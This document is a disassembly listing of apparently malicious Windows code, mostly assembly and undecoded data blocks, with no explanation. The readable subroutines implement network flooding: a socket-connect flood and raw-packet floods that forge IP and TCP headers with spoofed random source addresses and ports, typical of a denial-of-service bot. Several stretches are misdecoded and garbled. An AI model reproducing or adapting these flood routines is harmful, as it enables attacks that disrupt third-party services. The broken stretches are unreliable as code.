mov [ebp-7], dl
loc_413C5A: ; CODE XREF: seg000:00413C04j
; seg000:00413C20j ...
push 4000h
mov byte ptr [ebp-8], 50h
call ds:dword_4514F4
mov [ebp-6], ax
lea eax, [ebp-48h]
push eax
mov [ebp-2], bx
mov [ebp+10h], ebx
call near ptr 3D0000h
adc ecx, [ebp-17AF1BBBh]
jns short loc_413C48
sti
; ---------------------------------------------------------------------------
dw 0EEFFh
dd 8BBC75FFh, 0FF991845h, 5052B875h, 0C6E7E8h, 0E4450300h
dd 135E146Ah, 4589E855h, 0C85589C4h, 0FC5D8966h, 9EEFE8h
dd 0E9B99900h, 0F7000003h, 0E8C281F9h, 52000003h, 14F415FFh
dd 89660045h, 0D1E8EC45h, 8B00009Eh, 10E7C1F8h, 9EC7E8h
dd 57F80B00h, 14F415FFh, 0B70F0045h, 0F04589C0h, 0FF0C458Bh
dd 0FF500C45h, 4514F015h, 0D8458900h, 56DC458Bh, 888C4589h
dd 45C6905Dh, 15FF0691h, 4514F4h, 92458966h, 89D8458Bh
dd 458D8845h, 50206A88h, 0FF4C858Dh, 0E850FFFFh, 0AB18h
dd 56EC458Dh, 6C858D50h, 50FFFFFFh, 0AB07E8h, 4C858D00h
dd 6AFFFFFFh, 29E85034h, 66FFFEE9h, 8DFC4589h, 5056CC45h
dd 0FF4C858Dh, 0E850FFFFh, 0AAE4h, 56EC458Dh, 60858D50h
dd 50FFFFFFh, 0AAD3E8h, 8D046A00h, 0FFFF7485h, 0E85053FFh
dd 9384h, 8D44C483h, 0FFFF4C85h, 50286AFFh, 0FEE8E3E8h
dd 458966FFh, 0CC458DD6h, 858D5056h, 0FFFFFF4Ch, 0AA9EE850h
dd 0C4830000h, 0A8458D14h, 5350106Ah, 0FF4C858Dh, 286AFFFFh
dd 0E075FF50h, 155415FFh, 0F8830045h, 12874FFh, 458D1045h
dd 31E850E4h, 0A7FFFBC2h, 3BE8458Bh, 3C7FC845h, 0FECA8C0Fh
dd 458BFFFFh, 0C4453BE4h, 0BDE92E73h, 0FFFFFFFEh, 45148815h
dd 858D5000h, 0FFFFFF0Ch, 44BC6068h, 5DE85000h, 8D000094h
dd 0FFFF0C85h, 98E850FFh, 83000023h, 3EB10C4h
; ---------------------------------------------------------------------------
mov ebx, [ebp+10h]
loc_413E17: ; CODE XREF: seg000:00413B6Ej
push dword ptr [ebp-20h]
call ds:dword_451588
pop esi
loc_413E21: ; CODE XREF: seg000:00413B51j
call ds:dword_45144C
mov eax, ebx
loc_413E29: ; CODE XREF: seg000:00413B31j
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_4024FB
push dword ptr [esp+18h]
mov esi, eax
call sub_41D560
push dword ptr [esp+24h]
mov ebx, eax
call sub_41D560
mov edi, eax
call sub_41DBA0
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push dword ptr [esp+2Ch]
lea eax, [edx+esi+100h]
push eax
push esi
call loc_413AF6
add esp, 20h
test eax, eax
jnz short loc_413E7C
push 1
pop eax
loc_413E7C: ; CODE XREF: seg000:00413E77j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_413E8B db 55h ; DATA XREF: seg000:004065F8o
dd 0EC81EC8Bh, 3BCh, 458B5653h, 686A5708h, 8D59F08Bh, 0FFFE44BDh
dd 5B016AFFh, 0FF68h, 0F3036A00h, 89026AA5h, 19C98h, 7015FF00h
dd 83004515h, 4589FFF8h, 0FF5F75FCh, 45148815h, 858D5000h
dd 0FFFFFC44h, 44BC9468h, 81E85000h, 33000093h, 0CC483FFh
dd 75DC7D39h, 858D5720h, 0FFFFFC44h, 50D875FFh, 0FF48858Dh
dd 0FF50FFFFh, 0FFFE44B5h, 0D557E8FFh, 0C483FFFEh, 44858D14h
dd 50FFFFFCh, 2292E8h, 0C875FF00h, 0FF513EE8h, 575959FFh
dd 0FBC0DBE8h, 4D8D4EFFh, 51046AF4h, 26AFF33h, 5D895057h
dd 0D415FFF4h, 83004514h, 5D75FFF8h, 148815FFh, 8D500045h
dd 0FFFC4485h, 0BCD468FFh, 0E8500044h, 9308h, 390CC483h
dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h
dd 0B5FF50FFh, 0FFFFFE44h, 0FED4E0E8h, 14C483FFh, 0FC44858Dh
dd 0E850FFFFh, 221Bh, 0E8C875FFh, 0FFFF50C7h, 0E8575959h
dd 0FFFBC064h, 48858DF8h, 50FFFFFEh, 153015FFh, 0F8830045h
dd 8D5575FFh, 0FFFC4485h, 0BD1868FFh, 0E8500044h, 92A0h
dd 59DC7D39h, 57207559h, 0FC44858Dh, 75FFFFFFh, 858D50D8h
dd 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFED479h, 8D14C483h
dd 0FFFC4485h, 0B4E850FFh, 0FF000021h, 60E8C875h, 59FFFF50h
dd 0FDE85759h, 9EFFFBBFh, 458D106Ah, 0E85057E4h, 90F0h
dd 660CC483h, 2E445C7h, 15FF5700h, 4514F4h, 0E6458966h
dd 0FE48858Dh, 0FF50FFFFh, 45153015h, 40358B00h, 89004F13h
dd 7D89E845h, 89D6FF08h, 0D6FFF845h, 33F8452Bh, 3E8B9D2h
dd 0F1F70000h, 0FD0453Bh, 19487h, 41C6800h, 5C60000h, 4E2680h
dd 0F415FF45h, 39004514h, 0A366D47Dh, 4E2682h, 841D8966h
dd 66004E26h, 26863D89h, 5C6004Eh, 4E2688h, 891D8880h
dd 66004E26h, 268A3D89h, 3074004Eh, 9B03E8h, 0C1D88B00h
dd 0F9E808E3h, 300009Ah, 8E3C1D8h, 9AEFE8h, 0C1D80300h
dd 0E5E808E3h, 300009Ah, 89016AD8h, 4E268C1Dh, 18EB5B00h
dd 0FE44B5FFh, 44E8FFFFh, 59FFFEE5h, 3015FF50h, 0A3004515h
dd 4E268Ch, 0A3E8458Bh, 4E2690h, 9AB3E8h, 0B99900h, 0F7000001h
dd 941588F9h, 0E8004E26h, 9AA0h, 100B999h, 0F9F70000h
dd 26951588h, 8DE8004Eh, 9900009Ah, 0F0B9h, 4006800h, 0F9F70000h
dd 963D8966h, 66004E26h, 269A1D89h, 6642004Eh, 26981589h
dd 65E8004Eh, 9900009Ah, 0FFB9h, 52F9F700h, 4E269C68h
dd 8FB2E800h, 0C4830000h, 0E4458D0Ch, 5750106Ah, 41C68h
dd 26806800h, 75FF004Eh, 5415FFFCh, 83004515h, 874FFF8h
dd 0E90845FFh, 0FFFFFECAh, 0FFFC75FFh, 45158815h, 8815FF00h
dd 50004514h, 0FE48858Dh, 75FFFFFFh, 4C685008h, 8D0044BDh
dd 0FFFC4485h, 20068FFh, 0E8500000h, 91B8h, 3918C483h
dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h
dd 0B5FF50FFh, 0FFFFFE44h, 0FED290E8h, 14C483FFh, 0FC44858Dh
dd 0E850FFFFh, 1FCBh, 0E8C875FFh, 0FFFF4E77h, 0E8575959h
dd 0FFFBBE14h, 0FC75FF86h, 158815FFh, 458B0045h, 6BD23308h
dd 0C88B3CC0h, 0F70AE8C1h, 0E9C1D075h, 8D505114h, 0FFFE4885h
dd 875FFFFh, 0C8858D50h, 50FFFFFEh, 0FC44858Dh, 0A868FFFFh
dd 500044BDh, 9033E8h, 1CC48300h, 75DC7D39h, 858D5720h
dd 0FFFFFC44h, 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h
dd 0D20BE8FFh, 0C483FFFEh, 44858D14h, 50FFFFFCh, 1F46E8h
dd 0C875FF00h, 0FF4DF2E8h, 575959FFh, 0FBBD8FE8h
db 0FFh, 0Eh
word_414272 dw 8B55h ; DATA XREF: seg000:0040585Eo
dd 320B8ECh, 31E80001h, 8B00009Ch, 56530845h, 8B496A57h
dd 0BD8D59F0h, 0FFFFFEBCh, 16AA5F3h, 20B8895Fh, 0FF000001h
dd 45147C15h, 8458900h, 0FF40858Dh, 0FF50FFFFh, 45153015h
dd 33F08B00h, 83C033DBh, 1175FFFEh, 0FF40858Dh, 0FF50FFFFh
dd 45157415h, 74C33B00h, 87D8306h, 8D5D75FFh, 0FFFF4085h
dd 858D50FFh, 0FFFFFCBCh, 44BE0868h, 75E85000h, 8300008Fh
dd 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh, 858D50D4h
dd 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFED14Dh, 8D14C483h
dd 0FFFCBC85h, 88E850FFh, 0FF00001Eh, 34E8D075h, 59FFFF4Dh
dd 0D1E85759h, 49FFFBBCh, 0C74C33Bh, 8B0C408Bh, 89008B00h
dd 3EBFC45h, 6AFC7589h, 0E0458D1Ch, 0B1E85053h, 8300008Dh
dd 0B8FFE84Dh, 0FFDCh, 390CC483h, 37EC445h, 39C44589h
dd 37DC87Dh, 33C87D89h, 0C05D39F6h, 75FF267Eh, 0E0458DC8h
dd 53501C6Ah, 0FCE0858Dh, 75FFFFFEh, 75FF50C4h, 875FFFCh
dd 141015FFh, 3B460045h, 0DA7CC075h, 0FF0875FFh, 4515A815h
dd 40858D00h, 50FFFFFFh, 0FCBC858Dh, 4868FFFFh, 500044BEh
dd 8EA7E8h, 0CC48300h, 75D85D39h, 858D5320h, 0FFFFFCBCh
dd 50D475FFh, 0FEC0858Dh, 0FF50FFFFh, 0FFFEBCB5h, 0D07FE8FFh
dd 0C483FFFEh, 0BC858D14h, 50FFFFFCh, 1DBAE8h, 0D075FF00h
dd 0FF4C66E8h, 535959FFh, 0FBBC03E8h
db 0FFh, 9Ch
word_4143FE dw 8B55h ; DATA XREF: seg000:004059A5o
dword_414400 dd 310B8ECh, 0A5E80001h, 8B00009Ah, 56530845h, 8B496A57h
dd 0BD8D59F0h, 0FFFFFECCh, 16AA5F3h, 20B0895Eh, 0FF000001h
dd 4F134015h, 5DE85000h, 59000097h, 26A116Ah, 15FF026Ah
dd 451570h, 0FF33D88Bh, 458D106Ah, 0E85057F0h, 8CB0h, 8D0CC483h
dd 0FFFF5085h, 45C766FFh, 500002F0h, 153015FFh, 0F8830045h
dd 84589FFh, 858D7575h, 0FFFFFF50h, 7415FF50h, 3B004515h
dd 8D5D75C7h, 0FFFF5085h, 858D50FFh, 0FFFFFCCCh, 44BE8C68h
dd 0C9E85000h, 8300008Dh, 7D390CC4h, 572075E8h, 0FCCC858Dh
dd 75FFFFFFh, 858D50E4h, 0FFFFFED0h, 0CCB5FF50h, 0E8FFFFFEh
dd 0FFFECFA1h, 8D14C483h, 0FFFCCC85h, 0DCE850FFh, 0FF00001Ch
dd 88E8E075h, 59FFFF4Bh, 25E85659h, 3FFFFBBBh, 8B0C408Bh
dd 8D03EB00h, 8B0845h, 89DC7D39h, 1175F445h, 96ABE8h, 0DCB99900h
dd 0F70000FFh, 0EB5242F9h, 0DC75FF03h, 14F415FFh, 75390045h
dd 458966DCh, 89037DF2h, 0FFB8DC75h, 390000FFh, 37EDC45h
dd 8BDC4589h, 0A6AD045h, 0F9F75999h, 89D87D39h, 375D045h
dd 33D87589h, 0D47D39F6h, 5DE81A7Eh, 99000096h, 0FFB9h
dd 46F9F700h, 88D4753Bh, 0FCEF3594h, 0E67CFFFEh, 0FFD0458Bh
dd 0C085D04Dh, 0B6A557Eh, 0F0458D5Eh, 5750106Ah, 962FE8h
dd 990A6A00h, 8BF9F759h, 0C22BD445h, 0F0858D50h, 50FFFEFCh
dd 5415FF53h, 0FF004515h, 15FFD875h, 4F12F4h, 39CE754Eh
dd 0BC75DC7Dh, 95FFE8h, 0DCB99900h, 0F70000FFh, 0FF5242F9h
dd 4514F415h, 45896600h, 8DA1EBF2h, 0FFFF5085h, 858D50FFh
dd 0FFFFFCCCh, 44BECC68h, 91E85000h, 8300008Ch, 7D390CC4h
dd 572075E8h, 0FCCC858Dh, 75FFFFFFh, 858D50E4h, 0FFFFFED0h
dd 0CCB5FF50h, 0E8FFFFFEh, 0FFFECE69h, 8D14C483h, 0FFFCCC85h
dd 0A4E850FFh, 0FF00001Bh, 50E8E075h, 59FFFF4Ah, 0EDE85759h
dd 68FFFBB9h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+8]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp-214h]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp-110h]
push eax
lea eax, [ebp-190h]
push eax
lea eax, [ebp-210h]
push eax
call sub_414772
push eax
lea eax, [ebp-414h]
push offset unk_44BF10
push eax
call sub_41D260
xor esi, esi
add esp, 18h
cmp [ebp-8], esi
jnz short loc_414691
push esi
lea eax, [ebp-414h]
push dword ptr [ebp-0Ch]
push eax
lea eax, [ebp-90h]
push eax
push dword ptr [ebp-214h]
call sub_40145D
add esp, 14h
loc_414691: ; CODE XREF: seg000:0041466Fj
lea eax, [ebp-414h]
push eax
call sub_4161A7
push dword ptr [ebp-10h]
call sub_40905B
pop ecx
pop ecx
push esi
call near ptr 3D0000h
into
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4146B0 proc near ; CODE XREF: sub_414772+27p
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41D100
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call ds:dword_4514F4
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_41476E
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_4146FB: ; CODE XREF: sub_4146B0+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_414703: ; CODE XREF: sub_4146B0+7Aj
push 0
push 1
push 2
call ds:dword_4F14E4 ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_414726
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call ds:dword_4F14C0 ; ioctlsocket
loc_414726: ; CODE XREF: sub_4146B0+64j
add esi, 4
dec ebx
jnz short loc_414703
lea esi, [ebp+var_654]
mov ebx, edi
loc_414734: ; CODE XREF: sub_4146B0+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
call ds:dword_4F14B4 ; connect
add esi, 4
dec ebx
jnz short loc_414734
push 64h
call ds:dword_4F12F4 ; Sleep
lea esi, [ebp+var_654]
mov ebx, edi
loc_414758: ; CODE XREF: sub_4146B0+B4j
push dword ptr [esi]
call ds:dword_4F14D0 ; closesocket
add esi, 4
dec ebx
jnz short loc_414758
dec [ebp+arg_4]
jnz short loc_4146FB
pop edi
pop esi
pop ebx
loc_41476E: ; CODE XREF: sub_4146B0+3Ej
xor eax, eax
leave
retn
sub_4146B0 endp
; =============== S U B R O U T I N E =======================================
sub_414772 proc near ; CODE XREF: seg000:00414650p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_4024FB
push [esp+10h+arg_4]
mov edi, eax
call sub_41D560
push [esp+14h+arg_8]
mov ebx, eax
call sub_41D560
mov esi, eax
push esi
push ebx
push edi
call sub_4146B0
add esp, 18h
test eax, eax
jnz short loc_4147A8
push 1
pop eax
loc_4147A8: ; CODE XREF: sub_414772+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_414772 endp
; ---------------------------------------------------------------------------
byte_4147B7 db 55h ; DATA XREF: seg000:00406301o
dd 0EC81EC8Bh, 414h, 5608458Bh, 85B957h, 0F08B0000h, 0FDECBD8Dh
dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h
dd 70858D50h, 50FFFFFEh, 0FDF0858Dh, 0E850FFFFh, 30Dh
dd 0EC858D50h, 68FFFFFBh, 44BF54h, 8A56E850h, 0F6330000h
dd 3918C483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh, 8D50F475h
dd 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FECC2CE8h, 14C483FFh
dd 0FBEC858Dh, 0E850FFFFh, 1967h, 0E8F075FFh, 0FFFF4813h
dd 0E8565959h, 0FFFBB7B0h
db 7Dh, 5Fh, 5Eh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414853 proc near ; CODE XREF: seg000:00414B41p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call ds:dword_451464
test eax, eax
jz short loc_414893
xor eax, eax
jmp loc_414B01
; ---------------------------------------------------------------------------
loc_414893: ; CODE XREF: sub_414853+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_451594
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_414AF9
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call ds:dword_4514D4
cmp eax, 0FFFFFFFFh
jz loc_414AEF
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41D100
add esp, 0Ch
mov [ebp+var_50], 2
loc_4148E6: ; CODE XREF: sub_414853+104j
push [ebp+arg_8]
call ds:dword_4514F4
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call ds:dword_4514F4
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call ds:dword_4514F4
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call ds:dword_4514F4
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call near ptr 3D0000h
js short loc_4148E6
inc ebp
clc
push eax
call near ptr 3D0000h
push dword ptr es:[ebp-3Ch]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_420380
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_41497E: ; CODE XREF: sub_414853+25Dj
; sub_414853+26Bj
mov [ebp+var_24], bx
call sub_41DBA0
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ds:dword_4514F4
mov [ebp+var_34], ax
call sub_41DBA0
mov edi, eax
shl edi, 10h
call sub_41DBA0
or edi, eax
push edi
call ds:dword_4514F4
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call ds:dword_4514F0
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call ds:dword_4514F4
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41E840
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41E840
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_402670
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41E840
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41E840
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41D100
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_402670
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41E840
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call ds:dword_451554
cmp eax, 0FFFFFFFFh
jz short loc_414AC3
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call near ptr 3D0000h
fmul dword ptr [ebx-39C403BBh]
jg short loc_414AEC
jl loc_41497E
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_414AEC
jmp loc_41497E
; ---------------------------------------------------------------------------
loc_414AC3: ; CODE XREF: sub_414853+247j
call ds:dword_451488
push eax
lea eax, [ebp+var_F4]
push offset unk_44BF94
push eax
call sub_41D260
lea eax, [ebp+var_F4]
push eax
call sub_4161A7
add esp, 10h
jmp short loc_414AEF
; ---------------------------------------------------------------------------
loc_414AEC: ; CODE XREF: sub_414853+25Bj
; sub_414853+269j
mov ebx, [ebp+arg_8]
loc_414AEF: ; CODE XREF: sub_414853+78j
; sub_414853+297j
push [ebp+var_C]
call ds:dword_451588
pop esi
loc_414AF9: ; CODE XREF: sub_414853+5Bj
call ds:dword_45144C
mov eax, ebx
loc_414B01: ; CODE XREF: sub_414853+3Bj
pop edi
pop ebx
leave
retn
sub_414853 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_4024FB
push dword ptr [esp+18h]
mov esi, eax
call sub_41D560
push dword ptr [esp+20h]
mov ebx, eax
call sub_41D560
mov edi, eax
call sub_41DBA0
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_414853
add esp, 1Ch
test eax, eax
jnz short loc_414B50
push 1
pop eax
loc_414B50: ; CODE XREF: seg000:00414B4Bj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+8]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp-194h]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp-110h]
push eax
call sub_41D560
pop ecx
push eax
lea eax, [ebp-190h]
push eax
call ds:dword_451530
push eax
call sub_414C00
push eax
lea eax, [ebp-394h]
push offset unk_44BFC8
push eax
call sub_41D260
xor esi, esi
add esp, 14h
cmp [ebp-8], esi
jnz short loc_414BE1
push esi
lea eax, [ebp-394h]
push dword ptr [ebp-0Ch]
push eax
lea eax, [ebp-90h]
push eax
push dword ptr [ebp-194h]
call sub_40145D
add esp, 14h
loc_414BE1: ; CODE XREF: seg000:00414BBFj
lea eax, [ebp-394h]
push eax
call sub_4161A7
push dword ptr [ebp-10h]
call sub_40905B
pop ecx
pop ecx
push esi
call near ptr 3D0000h
test [edi+5Eh], bl
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414C00 proc near ; CODE XREF: seg000:00414BA0p
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 98h
push ebx
push esi
push edi
push 1
pop ecx
and [ebp+var_88], 0
push 4
and [ebp+var_58], 0
pop esi
mov ebx, 0FFh
push 6
xor eax, eax
pop edx
lea edi, [ebp+var_54]
mov [ebp+var_84], ecx
mov [ebp+var_80], 2
mov [ebp+var_7C], esi
mov [ebp+var_78], edx
mov [ebp+var_74], 8
mov [ebp+var_70], 0Ch
mov [ebp+var_6C], 11h
mov [ebp+var_68], 16h
mov [ebp+var_64], 29h
mov [ebp+var_60], 3Ah
mov [ebp+var_5C], ebx
mov [ebp+var_50], eax
stosd
lea edi, [ebp+var_2C]
mov [ebp+var_4C], eax
mov [ebp+var_48], eax
mov [ebp+var_44], 2000h
mov [ebp+var_40], esi
mov [ebp+var_3C], edx
mov [ebp+var_38], 3FFFh
mov [ebp+var_34], ecx
mov [ebp+var_30], eax
mov [ebp+var_28], ecx
stosd
mov edi, 100h
push edi
call sub_41FD90
pop ecx
mov [ebp+var_4], eax
push edi
push eax
call ds:dword_451508
push [ebp+var_4]
call ds:dword_451574
mov eax, [eax+0Ch]
push ebx
push 3
push 2
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_C], eax
call ds:dword_451570
lea ecx, [ebp+var_28]
push esi
push ecx
push 2
push 0
push eax
mov [ebp+var_4], eax
call ds:dword_4514D4
mov esi, 200h
push esi
call sub_41AE40
mov edi, ds:dword_4F1340
pop ecx
mov [ebp+var_8], eax
call edi ; dword_4F1340
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
push 29Ah
mov [ebp+var_94], eax
mov [ebp+var_98], 2
call ds:dword_4514F4
mov [ebp+var_96], ax
loc_414D1B: ; CODE XREF: sub_414C00+1FCj
call edi ; dword_4F1340
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja loc_414E01
call sub_41DBA0
cdq
mov ecx, ebx
idiv ecx
mov eax, [ebp+var_C]
and eax, 0FFFFFFh
shl edx, 18h
or edx, eax
mov [ebp+var_C], edx
call sub_41DBA0
cdq
mov ecx, ebx
idiv ecx
mov [ebp+var_54], edx
call sub_41DBA0
cdq
mov ecx, 1FA4h
mov [ebp+var_24], 45h
idiv ecx
mov [ebp+var_23], 4
mov [ebp+var_2C], edx
call sub_41DBA0
mov [ebp+var_20], ax
call sub_41DBA0
push 0Ah
cdq
pop ecx
idiv ecx
mov ax, word ptr [ebp+edx*4+var_50]
push eax
call ds:dword_4514F4
push esi
mov [ebp+var_1E], ax
call ds:dword_4514F4
mov [ebp+var_22], ax
mov [ebp+var_1C], bl
call sub_41DBA0
push 0Eh
cdq
pop ecx
idiv ecx
push 14h
mov al, byte ptr [ebp+edx*4+var_88]
mov [ebp+var_1B], al
mov eax, [ebp+var_C]
mov [ebp+var_18], eax
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
lea eax, [ebp+var_24]
push eax
call sub_402670
mov [ebp+var_1A], ax
lea eax, [ebp+var_24]
push 14h
push eax
push [ebp+var_8]
call sub_41E840
add esp, 14h
lea eax, [ebp+var_98]
push 10h
push eax
push 0
push esi
push [ebp+var_8]
push [ebp+var_4]
call ds:dword_451554
jmp loc_414D1B
; ---------------------------------------------------------------------------
loc_414E01: ; CODE XREF: sub_414C00+12Cj
push [ebp+var_8]
call sub_41B8B0
pop ecx
push [ebp+var_4]
call ds:dword_451588
push 1
pop eax
pop edi
pop esi
pop ebx
leave
retn
sub_414C00 endp
; ---------------------------------------------------------------------------
byte_414E1B db 55h ; DATA XREF: seg000:00405748o
dword_414E1C dd 0EC81EC8Bh, 440h, 5308458Bh, 686A5756h, 8D59F08Bh, 0FFFDC0BDh
dd 6AA5F3FFh, 5EDB3301h, 0FF61BD8Dh, 0E6AFFFFh, 19CB089h
dd 33590000h, 609D88C0h, 0F3FFFFFFh, 0AAAB66ABh, 13403D8Bh
